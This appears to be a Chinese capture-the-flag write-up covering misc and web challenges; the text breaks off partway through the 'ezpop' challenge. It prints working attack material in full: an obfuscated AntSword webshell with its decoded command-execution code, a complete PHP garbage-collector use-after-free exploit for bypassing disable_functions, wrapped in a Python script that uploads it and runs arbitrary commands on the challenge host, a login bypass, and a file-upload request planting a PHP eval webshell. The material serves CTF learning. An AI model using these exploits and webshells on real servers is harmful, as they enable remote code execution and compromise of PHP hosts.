没有pwn的ctf，简直是ctf届的一股清流= =
Emmmm承包前三，密码学爷爷（7feilee）np！
又是一年赛后出题= =
Misc
misc2
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import os
from flask import request
from flask import Flask
secret = open('/flag', 'rb')
os.remove('/flag')
app = Flask(__name__)
app.secret_key = '015b9efef8f51c00bcba57ca8c56d77a'
@app.route('/')
def index():
return open(__file__).read()
@app.route("/r", methods=['POST'])
def r():
data = request.form["data"]
if os.path.exists(data):
return open(data).read()
return ''
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000, debug=False)
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存在任意文件读取，flag读取后被删除。
最开始想着直接读内存出来拿flag的，结果发现读取不了。
在肖神提醒下，知道还有个一个文件描述符的东西，读取文件描述符拿到flag。
payload：
flag: flag{2315341f040f45ed02d8315f0a0b28f9}
webshell
流量分析，直接看http请求。
把shell.php抓下来。
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0x29).ChR(0x3d).ChR(0x3d).ChR(0x22).ChR(0x2f).ChR(0x22).ChR(0x3f).ChR(0x22).ChR(0x2d).ChR(0x63).ChR(0x20).ChR(0x5c).ChR(0x22).ChR(0x7b).ChR(0x24).ChR(0x73).ChR(0x7d).ChR(0x5c).ChR(0x22).ChR(0x22).ChR(0x3a).ChR(0x22).ChR(0x2f).ChR(0x63).ChR(0x20).ChR(0x5c).ChR(0x22).ChR(0x7b).ChR(0x24).ChR(0x73).ChR(0x7d).ChR(0x5c).ChR(0x22).ChR(0x22).ChR(0x3b).ChR(0x24).ChR(0x72).ChR(0x3d).ChR(0x22).ChR(0x7b).ChR(0x24).ChR(0x70).ChR(0x7d).ChR(0x20).ChR(0x7b).ChR(0x24).ChR(0x63).ChR(0x7d).ChR(0x22).ChR(0x3b).ChR(0x66).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x74).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x20).ChR(0x66).ChR(0x65).ChR(0x28).ChR(0x24).ChR(0x66).ChR(0x29).ChR(0x7b).ChR(0x24).ChR(0x64).ChR(0x3d).ChR(0x65).ChR(0x78).ChR(0x70).ChR(0x6c).ChR(0x6f).ChR(0x64).ChR(0x65).ChR(0x28).ChR(0x22).ChR(0x2c).ChR(0x22).ChR(0x2c).ChR(0x40).ChR(0x69).ChR(0x6e).ChR(0x69).ChR(0x5f).ChR(0x67).ChR(0x65).ChR(0x74).ChR(0x28).ChR(0x22).ChR(0x64).ChR(0x69).ChR(0x73).ChR(0x61).ChR(0x62).ChR(0x6c).ChR(0x65).ChR(0x5f).ChR(0x66).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x74).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x73).ChR(0x22).ChR(0x29).ChR(0x29).ChR(0x3b).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x65).ChR(0x6d).ChR(0x70).ChR(0x74).ChR(0x79).ChR(0x28).ChR(0x24).ChR(0x64).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x24).ChR(0x64).ChR(0x3d).ChR(0x61).ChR(0x72).ChR(0x72).ChR(0x61).ChR(0x79).ChR(0x28).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x65).ChR(0x6c).ChR(0x73).ChR(0x65).ChR(0x7b).ChR(0x24).ChR(0x64).ChR(0x3d).ChR(0x61).ChR(0x72).ChR(0x72).ChR(0x61).ChR(0x79).ChR(0x5f).ChR(0x6d).ChR(0x61).ChR(0x70).ChR(0x28).ChR(0x27).ChR(0x74).ChR(0x72).ChR(0x69).ChR(0x6d).ChR(0x27).ChR(0x2c).ChR(0x61).ChR(0x72).ChR(0x72).ChR(0x61).ChR(0x79).ChR(0x5f).ChR(0x6d).ChR(0x61).ChR(0x70).ChR(0x28).ChR(0x27).ChR(0x73).ChR(0x74).ChR(0x72).ChR(0x74).ChR(0x6f).ChR(0x6c).ChR(0x6f).ChR(0x77).ChR(0x65).ChR(0x72).ChR(0x27).ChR(0x2c).ChR(0x24).ChR(0x64).ChR(0x29).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x75).ChR(0x72).ChR(0x6e).ChR(0x28).ChR(0x66).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x74).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x5f).ChR(0x65).ChR(0x78).ChR(0x69).ChR(0x73).ChR(0x74).ChR(0x73).ChR(0x28).ChR(0x24).ChR(0x66).ChR(0x29).ChR(0x26).ChR(0x26).ChR(0x69).ChR(0x73).ChR(0x5f).ChR(0x63).ChR(0x61).ChR(0x6c).ChR(0x6c).ChR(0x61).ChR(0x62).ChR(0x6c).ChR(0x65).ChR(0x28).ChR(0x24).ChR(0x66).ChR(0x29).ChR(0x26).ChR(0x26).ChR(0x21).ChR(0x69).ChR(0x6e).ChR(0x5f).ChR(0x61).ChR(0x72).ChR(0x72).ChR(0x61).ChR(0x79).ChR(0x28).ChR(0x24).ChR(0x66).ChR(0x2c).ChR(0x24).ChR(0x64).ChR(0x29).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x3b).ChR(0x66).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x74).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x20).ChR(0x72).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x6d).ChR(0x64).ChR(0x28).ChR(0x24).ChR(0x63).ChR(0x29).ChR(0x7b).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x3d).ChR(0x30).ChR(0x3b).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x66).ChR(0x65).ChR(0x28).ChR(0x27).ChR(0x73).ChR(0x79).ChR(0x73).ChR(0x74).ChR(0x65).ChR(0x6d).ChR(0x27).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x40).ChR(0x73).ChR(0x79).ChR(0x73).ChR(0x74).ChR(0x65).ChR(0x6d).ChR(0x28).ChR(0x24).ChR(0x63).ChR(0x2c).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x65).ChR(0x6c).ChR(0x73).ChR(0x65).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x66).ChR(0x65).ChR(0x28).ChR(0x27).ChR(0x70).ChR(0x61).ChR(0x73).ChR(0x73).ChR(0x74).ChR(0x68).ChR(0x72).ChR(0x75).ChR(0x27).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x40).ChR(0x70).ChR(0x61).ChR(0x73).ChR(0x73).ChR(0x74).ChR(0x68).ChR(0x72).ChR(0x75).ChR(0x28).ChR(0x24).ChR(0x63).ChR(0x2c).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x65).ChR(0x6c).ChR(0x73).ChR(0x65).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x66).ChR(0x65).ChR(0x28).ChR(0x27).ChR(0x73).ChR(0x68).ChR(0x65).ChR(0x6c).ChR(0x6c).ChR(0x5f).ChR(0x65).ChR(0x78).ChR(0x65).ChR(0x63).ChR(0x27).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x70).ChR(0x72).ChR(0x69).ChR(0x6e).ChR(0x74).ChR(0x28).ChR(0x40).ChR(0x73).ChR(0x68).ChR(0x65).ChR(0x6c).ChR(0x6c).ChR(0x5f).ChR(0x65).ChR(0x78).ChR(0x65).ChR(0x63).ChR(0x28).ChR(0x24).ChR(0x63).ChR(0x29).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x65).ChR(0x6c).ChR(0x73).ChR(0x65).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x66).ChR(0x65).ChR(0x28).ChR(0x27).ChR(0x65).ChR(0x78).ChR(0x65).ChR(0x63).ChR(0x27).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x40).ChR(0x65).ChR(0x78).ChR(0x65).ChR(0x63).ChR(0x28).ChR(0x24).ChR(0x63).ChR(0x2c).ChR(0x24).ChR(0x6f).ChR(0x2c).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x29).ChR(0x3b).ChR(0x70).ChR(0x72).ChR(0x69).ChR(0x6e).ChR(0x74).ChR(0x28).ChR(0x6a).ChR(0x6f).ChR(0x69).ChR(0x6e).ChR(0x28).ChR(0x22).ChR(0xa).ChR(0x22).ChR(0x2c).ChR(0x24).ChR(0x6f).ChR(0x29).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x65).ChR(0x6c).ChR(0x73).ChR(0x65).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x66).ChR(0x65).ChR(0x28).ChR(0x27).ChR(0x70).ChR(0x6f).ChR(0x70).ChR(0x65).ChR(0x6e).ChR(0x27).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x24).ChR(0x66).ChR(0x70).ChR(0x3d).ChR(0x40).ChR(0x70).ChR(0x6f).ChR(0x70).ChR(0x65).ChR(0x6e).ChR(0x28).ChR(0x24).ChR(0x63).ChR(0x2c).ChR(0x27).ChR(0x72).ChR(0x27).ChR(0x29).ChR(0x3b).ChR(0x77).ChR(0x68).ChR(0x69).ChR(0x6c).ChR(0x65).ChR(0x28).ChR(0x21).ChR(0x40).ChR(0x66).ChR(0x65).ChR(0x6f).ChR(0x66).ChR(0x28).ChR(0x24).ChR(0x66).ChR(0x70).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x70).ChR(0x72).ChR(0x69).ChR(0x6e).ChR(0x74).ChR(0x28).ChR(0x40).ChR(0x66).ChR(0x67).ChR(0x65).ChR(0x74).ChR(0x73).ChR(0x28).ChR(0x24).ChR(0x66).ChR(0x70).ChR(0x2c).ChR(0x20).ChR(0x32).ChR(0x30).ChR(0x34).ChR(0x38).ChR(0x29).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x40).ChR(0x70).ChR(0x63).ChR(0x6c).ChR(0x6f).ChR(0x73).ChR(0x65).ChR(0x28).ChR(0x24).ChR(0x66).ChR(0x70).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x65).ChR(0x6c).ChR(0x73).ChR(0x65).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x66).ChR(0x65).ChR(0x28).ChR(0x27).ChR(0x61).ChR(0x6e).ChR(0x74).ChR(0x73).ChR(0x79).ChR(0x73).ChR(0x74).ChR(0x65).ChR(0x6d).ChR(0x27).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x40).ChR(0x61).ChR(0x6e).ChR(0x74).ChR(0x73).ChR(0x79).ChR(0x73).ChR(0x74).ChR(0x65).ChR(0x6d).ChR(0x28).ChR(0x24).ChR(0x63).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x65).ChR(0x6c).ChR(0x73).ChR(0x65).ChR(0x7b).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x20).ChR(0x3d).ChR(0x20).ChR(0x31).ChR(0x32).ChR(0x37).ChR(0x3b).ChR(0x7d).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x75).ChR(0x72).ChR(0x6e).ChR(0x20).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x3b).ChR(0x7d).ChR(0x3b).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x3d).ChR(0x40).ChR(0x72).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x6d).ChR(0x64).ChR(0x28).ChR(0x24).ChR(0x72).ChR(0x2e).ChR(0x22).ChR(0x20).ChR(0x32).ChR(0x3e).ChR(0x26).ChR(0x31).ChR(0x22).ChR(0x29).ChR(0x3b).ChR(0x70).ChR(0x72).ChR(0x69).ChR(0x6e).ChR(0x74).ChR(0x20).ChR(0x28).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x21).ChR(0x3d).ChR(0x30).ChR(0x29).ChR(0x3f).ChR(0x22).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x3d).ChR(0x7b).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x7d).ChR(0x22).ChR(0x3a).ChR(0x22).ChR(0x22).ChR(0x3b).ChR(0x3b).ChR(0x7d).ChR(0x63).ChR(0x61).ChR(0x74).ChR(0x63).ChR(0x68).ChR(0x28).ChR(0x45).ChR(0x78).ChR(0x63).ChR(0x65).ChR(0x70).ChR(0x74).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x20).ChR(0x24).ChR(0x65).ChR(0x29).ChR(0x7b).ChR(0x65).ChR(0x63).ChR(0x68).ChR(0x6f).ChR(0x20).ChR(0x22).ChR(0x45).ChR(0x52).ChR(0x52).ChR(0x4f).ChR(0x52).ChR(0x3a).ChR(0x2f).ChR(0x2f).ChR(0x22).ChR(0x2e).ChR(0x24).ChR(0x65).ChR(0x2d).ChR(0x3e).ChR(0x67).ChR(0x65).ChR(0x74).ChR(0x4d).ChR(0x65).ChR(0x73).ChR(0x73).ChR(0x61).ChR(0x67).ChR(0x65).ChR(0x28).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x3b).ChR(0x61).ChR(0x73).ChR(0x6f).ChR(0x75).ChR(0x74).ChR(0x70).ChR(0x75).ChR(0x74).ChR(0x28).ChR(0x29).ChR(0x3b).ChR(0x64).ChR(0x69).ChR(0x65).ChR(0x28).ChR(0x29).ChR(0x3b));
|
写个脚本处理一下
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import re
with open("shell.php", "r") as f:
code = f.read()
code = code[6:-2]
code = re.sub("chr", "chr", code, flags=re.IGNORECASE)
code = code.replace(".", "+")
print(eval(code))
|
恢复后的shell.php：
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| <?php
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out){
@session_start();
$key='f5045b05abe6ec9b1e37fafa851f5de9';
return @base64_encode(openssl_encrypt(base64_encode($out), 'AES-128-ECB', $key, OPENSSL_RAW_DATA));
};
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "0897d";
echo @asenc($output);
echo "60c97";
};
ob_start();
try{
$p=base64_decode($_POST["0xc461e86196f1a"]);
$s=base64_decode($_POST["0x9ec3fa98a283f"]);
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";$r="{$p} {$c}";
function fe($f){
$d=explode(",",@ini_get("disable_functions"));
if(empty($d)){
$d=array();
}
else{
$d=array_map('trim',array_map('strtolower',$d));
}
return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));
};
function runcmd($c){
$ret=0;
if(fe('system')){
@system($c,$ret);
}elseif(fe('passthru')){
@passthru($c,$ret);
}elseif(fe('shell_exec')){
print(@shell_exec($c));
}elseif(fe('exec')){
@exec($c,$o,$ret);
print(join("",$o));
}elseif(fe('popen')){
$fp=@popen($c,'r');
while(!@feof($fp)){
print(@fgets($fp, 2048));
}
@pclose($fp);
}elseif(fe('antsystem')){
@antsystem($c);
}else{
$ret = 127;
}
return $ret;
};
$ret=@runcmd($r." 2>&1");
print ($ret!=0)?"ret={$ret}":"";
}catch(Exception $e){
echo "ERROR://".$e->getMessage();
};
asoutput();
die();
|
输出是五位随机串+aes($plaintext)+五位随机串。
取返回信息解密看看。
搞个解密脚本，解密下最后一个包：
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| <?php
$cipher = "8c2b4kRD1eD+vSZ81FAJ6XClabCR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dZOTFg4DW9MYwG6k3rEvAAR8oFStGnfMRtUJOqc0mgokfKBUrRp3zEbVCTqnNJoKJHygVK0ad8xG1Qk6pzSaCiR8oFStGnfMRtUJOqc0mgokfKBUrRp3zEbVCTqnNJoKJ1qI47Cz1/qfnNoNARGhLfVhC0RJlfeKCvbPwpjFn//BSFY8RJlZyxz1a+TPy0D3cUhWPESZWcsc9Wvkz8tA93FIVjxEmVnLHPVr5M/LQPdxSFY8RJlZyxz1a+TPy0D3cUhWPESZWcsc9Wvkz8tA93GnMvJfVbvphfWnt17IOkzYjvv91k2fnYDR7u4nlGM3YitxGYGs9mn+HS5iJBXORtYrcRmBrPZp/h0uYiQVzkbWK3EZgaz2af4dLmIkFc5G1itxGYGs9mn+HS5iJBXORtUq4dBjDRFhDqDyzs9CScJhrd3yMusQ+qsnZkq4Ey7NVJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l2hDPuDhVN4TaDLzp9bXyfGeCVhvglAaNo2rA/ovnRTTtfA5ZywMOOijj6md5RItqjXwOWcsDDjoo4+pneUSLao18DlnLAw46KOPqZ3lEi2qNfA5ZywMOOijj6md5RItqgS0b9hS7r5TX9YNZo2awgUAyqVacVgwr1NlNQ2k/kihhh0QQfnjeGdZhkz0N0jAKiMzFmAMa7xQ1URxTaHoHjDg3NaWl/8+PVG+pyaKrbNDjfl77POeQE8+0MCHpz6YxWLJ6mwCe1X3uzz/HSHcHSvQBB8FxjOhugOErOXkd3LZi/60Gr4gIEc1JIxA5A2pE/V6Z/DFwNOR4M/IIIWdGr5e2e10";
function decrypt($cipher) {
$key = 'f5045b05abe6ec9b1e37fafa851f5de9';
return @base64_decode(openssl_decrypt(base64_decode($cipher), 'AES-128-ECB', $key, OPENSSL_RAW_DATA));
};
$cipher = substr($cipher, 5, strlen($cipher) - 10);
echo decrypt($cipher);
|
输出：
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| YmFiYWJhYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJi
YmIKaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGho
aGhoaGgKaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGho
aGhoaGhoaGgKZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dnZ2dn
Z2dnZ2dnZ2dnZ2cKYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJi
YmJiYmJiYmJiYmJiYmIKbm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5ubm5u
bm5ubm5ubm5ubm5ubm5ubm4KZmxhZ3tBbnRTd29yZF9pc19Qb3dlcmZ1bF8zMjIyMjIyISEhIX0K
[S]
/var/www/html/tmp
[E]
|
base64解码一下：
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| babababbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
ggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn
flag{AntSword_is_Powerful_3222222!!!!}
K�گ�0��m�_횑
|
Web
ezbypass
题目直接给了源码：
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| <?php
if(isset($_GET['src']))
{
highlight_file(__FILE__);
}
eval($_GET['cmd']);
|
读取phpinfo:
disable_functions : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,mb_send_mail,putenv,error_log,apache_setenv
能用的基本都被禁了= =，读了下可以写/tmp目录。读取/tmp目录
payload：
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| cmd=var_dump(glob("/tmp/*"))
|
等到一辆车2333然后上车了
查了下，是通过php的垃圾回收bypass的。
exp: https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass
dbq，不会pwn，改改exp，拿flag系列= =
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|
import requests
import base64
exp = """
<?php
@pwn($_REQUEST['hacked_by_smi1e']);
function pwn($cmd) {
global $abc, $helper;
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $text_size) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $text_size) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
class ryat {
var $ryat;
var $chtg;
function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}
class Helper {
public $a, $b, $c, $d;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if you get segfaults
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);
$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();
$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
?>
"""
url = "http://111.186.57.123:10101/?"
def upload():
r = requests.post(
url + "cmd=file_put_contents('/tmp/.233smi1e123.php',base64_decode($_POST['jingzhe']));",
data={"jingzhe": base64.b64encode(exp.encode('utf-8'))})
def exec(cmd):
r = requests.get(url + "cmd?=", params={"cmd": "include('/tmp/.233smi1e123.php');", "hacked_by_smi1e": cmd})
print(r.text)
if __name__ == '__main__':
while True:
upload()
exec(input())
exec("rm -rf /tmp/*")
|
flag: flag{bypass_disable_function_by_Nday_9e0c14fbba82b37}
ezupload
比赛的时候没出，全世界都出了，比赛结束才知道被坑了，md。
Hint: No weak password, no need scanner
存在源码备份(/.login.php.swp ):
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| <?php
error_reporting(0);
session_start();
include "config.php";
$username = $_POST['username'];
$password = $_POST['password'];
if (isset($username)){
$sql = "select password from user where name=?";
if ($stmt = $mysqli->prepare($sql)) {
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($dpasswd);
$stmt->fetch();
if ($dpasswd === $password){
$_SESSION['login'] = 1;
header("Location: /upload.php");
}else{
die("login failed");
}
$stmt->close();
}
}else{
header("Location: /index.php");
}
$mysqli->close();
|
一看就想sql注入= =但是这里代码写挺好，一看就注不进去。
漏洞出在password处，当$_POST['password']不存在的时候，$password会被赋值为null。同样的，当sql语句查询结果为空时，返回为null，$dpasswd就会被赋值为null，这样就能达到成功登陆的目的。
post请求中随便写usrname，不提交password值即可登陆。
登陆成功后是个简单的文件上传功能，随便传个图，返回：
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| array(1) { ["avatar"]=> array(5) { ["name"]=> string(35) "illust_60354621_20170730_211351.jpg" ["type"]=> string(10) "image/jpeg" ["tmp_name"]=> string(14) "/tmp/phpIkG6uP" ["error"]=> int(0) ["size"]=> int(1919322) } } upload success!
|
返回信息坑死个人= =
以为传到/tmp目录下了，文件名还随机，根本不知道咋利用。
后面才发现实际上是上传到/uploads目录下了，文件名是上传时的filename。
下次看到不需要扫描的hint，直接开扫mmp
文件上传过滤.php后缀，检测文件头但是不检测文件名。
也就是还有.php3等等后缀可以用。
payload:
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| POST /upload.php HTTP/1.1
Host: 111.186.57.123:10501
Content-Length: 227
Cache-Control: max-age=0
Origin: http://111.186.57.123:10501
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBxj5eMGn94pPbGc1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://111.186.57.123:10501/upload.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=a0ba145635a07aa883524ea2171c0d84
Connection: close
------WebKitFormBoundaryBxj5eMGn94pPbGc1
Content-Disposition: form-data; name="avatar"; filename="jingzhe.php3"
Content-Type: image/gif
GIF89a <?php @eval($_POST['jingzhe']);?>
------WebKitFormBoundaryBxj5eMGn94pPbGc1--
|
getshell后直接读flag。
flag：flag{logical_bypass_not_weak_password}
ezjava
看到java就不想做，后面发现全世界都过了= =
题目提供源码，下载以后解压，class反编译，代码很简单，猜测问题出在依赖库。
调用了fastjson-1.2.47。
护网时候爆出来的漏洞， fastjson =< 1.2.47 反序列化。
exp: https://github.com/CaijiOrz/fastjson-1.2.47-RCE
flag: flag{jndi_injection_by_ldap_3232}
ezpop
比赛的时候时间不够了，没做完，赛后做出来了= =
题目给了源码：
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| <?php
error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}
class B {
protected function getExpireTime($expire): int {
return (int) $expire;
}
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
